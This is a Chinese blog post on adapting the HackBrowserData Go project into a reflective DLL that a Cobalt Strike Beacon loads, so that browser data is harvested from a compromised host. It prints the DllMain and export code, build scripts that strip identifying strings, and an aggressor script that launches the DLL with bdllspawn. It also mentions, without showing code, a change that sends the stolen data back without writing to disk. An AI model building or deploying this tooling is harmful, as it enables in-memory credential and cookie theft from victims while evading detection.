idiotc4t's blog
搜索文档…
Go项目反射改造

简介

反射加载也没什么好说的,突然一时兴起想试一下能不能搞出来go的反射模块,发现已经有师傅铺好了路,这里手动@WBGlIl师傅,选了用HackBrowserData项目。

过程

首先修改一些默认选项,删除一些字符串,指定输出格式json,开启压缩存储。
复制一个main函数命名为run,导出它。
注意上面的注释是参与编译的,声明导出。
添加如下文件。
1
//dllmain.def
2
3
EXPORTS
4
run
5
ReflectiveLoader
6
7
//dllmain.c
8
#include "dllmain.h"
9
#include <Windows.h>
10
#include <stdio.h>
11
#define DLL_QUERY_HMODULE 6
12
extern HINSTANCE hAppInstance;
13
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) {
14
BOOL bReturnValue = TRUE;
15
switch( dwReason ) {
16
case DLL_QUERY_HMODULE:
17
if( lpReserved != NULL )
18
*(HMODULE *)lpReserved = hAppInstance;
19
break;
20
case DLL_PROCESS_ATTACH:
21
hAppInstance = hinstDLL;
22
run();
23
fflush(stdout);
24
ExitProcess(0);
25
break;
26
case DLL_PROCESS_DETACH:
27
case DLL_THREAD_ATTACH:
28
case DLL_THREAD_DETACH:
29
break;
30
}
31
return bReturnValue;
32
}
33
34
//dllmain.go
35
package main
36
37
//#include "dllmain.h"
38
//#include "ReflectiveLoader.h"
39
import "C"
40
41
//ReflectiveLoader.h
42
这玩意就省略了...
Copied!
然后使用如下bat编译。
1
//x64
2
del dllmain.a
3
set GOARCH=amd64
4
go build -a -v --gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH -ldflags "-w -s" -buildmode=c-archive -o dllmain.a
5
gcc dllmain.def dllmain.a -shared -lwinmm -lWs2_32 -o dllmain.dll
6
move dllmain.dll reflective_dll.x64.dll
7
//x32
8
set GOARCH=386
9
set CGO_ENABLED=0
10
set path=E:\mingw32\bin\;%path%
11
go build --ldflags "-s -w" -buildmode=c-archive -o dllmain.a
12
gcc dllmain.def dllmain.a -shared -lwinmm -lWs2_32 -o dllmain.dll
13
move dllmain.dll reflective_dll.dll
14
Copied!
然后改造下这个项目,让他不落地回传数据,这部分代码就不贴了。

效果

都先patch一下。
都能跑起来。
编写cna脚本。
1
alias hackDataBrowers {
2
local('$dll');
3
btask($1, "Task Beacon to run HackDataBrowers", "T9999");
4
if (-is64 $1) {
5
$dll = getFileProper(script_resource("resources"), "reflective_dll.x64.dll");
6
}
7
else {
8
$dll = getFileProper(script_resource("resources"), "reflective_dll.dll");
9
}
10
bdllspawn($1, $dll , $2, "Get Browers Data", 5000, false);
11
12
}
Copied!

遗留问题

这玩意体积太大了,cs的反射函数直接罢工。。。。。

LINKS

WBGlIl - Overview
GitHub
最近更新 8mo ago